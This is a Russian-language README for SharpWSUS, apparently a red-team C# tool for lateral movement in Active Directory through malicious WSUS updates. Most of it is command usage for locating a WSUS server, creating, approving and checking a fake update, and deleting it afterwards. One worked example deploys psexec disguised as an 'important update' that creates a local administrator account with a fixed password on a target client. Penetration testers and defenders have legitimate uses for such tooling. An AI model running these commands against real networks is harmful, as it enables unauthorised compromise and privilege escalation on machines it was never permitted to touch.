nettitude/sharpwsusИнструмент на C# для латерального перемещения через WSUS путем создания, утверждения и развертывания вредоносных обновлений на целевые клиенты Windows в средах Active Directory.
SharpWSUS — это инструмент на CSharp для горизонтального перемещения через WSUS. Соответствующий блог (https://labs.nettitude.com/blog/introducing-sharpwsus/) содержит более подробную информацию об инструментарии, сценарии использования и обнаружении.
Огромная благодарность приведённым ниже ресурсам, которые сделали 90% работы за меня. Этот инструмент — просто улучшение нижеперечисленного для надёжности и гибкости C2.
____ _ __ ______ _ _ ____
/ ___|| |__ __ _ _ __ _ _\ \ / / ___|| | | / ___|
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \
___) | | | | (_| | | | |_) \ V V / ___) | |_| |___) |
|____/|_| |_|\__,_|_| | .__/ \_/\_/ |____/ \___/|____/
|_|
Phil Keeble @ Nettitude Red Team
Команды, перечисленные ниже, имеют необязательные параметры в <>.
Найти сервер WSUS:
SharpWSUS.exe locate
Проверить сервер WSUS, перечислив клиенты, серверы и существующие группы:
SharpWSUS.exe inspect
Создать обновление (ПРИМЕЧАНИЕ: полезная нагрузка должна быть подписана Windows):
SharpWSUS.exe create /payload:[File location] /args:[Args for payload] </title:[Update title] /date:[YYYY-MM-DD] /kb:[KB on update] /rating:[Rating of update] /msrc:[MSRC] /description:[description] /url:[url]>
Одобрить обновление:
SharpWSUS.exe approve /updateid:[UpdateGUID] /computername:[Computer to target] </groupname:[Group for computer to be added too] /approver:[Name of approver]>
Проверить статус обновления:
SharpWSUS.exe check /updateid:[UpdateGUID] /computername:[Target FQDN]
Удалить обновление и очистить добавленные группы:
SharpWSUS.exe delete /updateid:[UpdateGUID] /computername:[Target FQDN] </groupname:[GroupName] /keepgroup>
sharpwsus locate
sharpwsus inspect
sharpwsus create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \\"net user phil Password123! /add && net localgroup administrators phil /add\\"" /title:"Great UpdateC21" /date:2021-10-03 /kb:500123 /rating:Important /description:"Really important update" /url:"https://google.com"
sharpwsus approve /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2"
sharpwsus check /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local
sharpwsus delete /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2"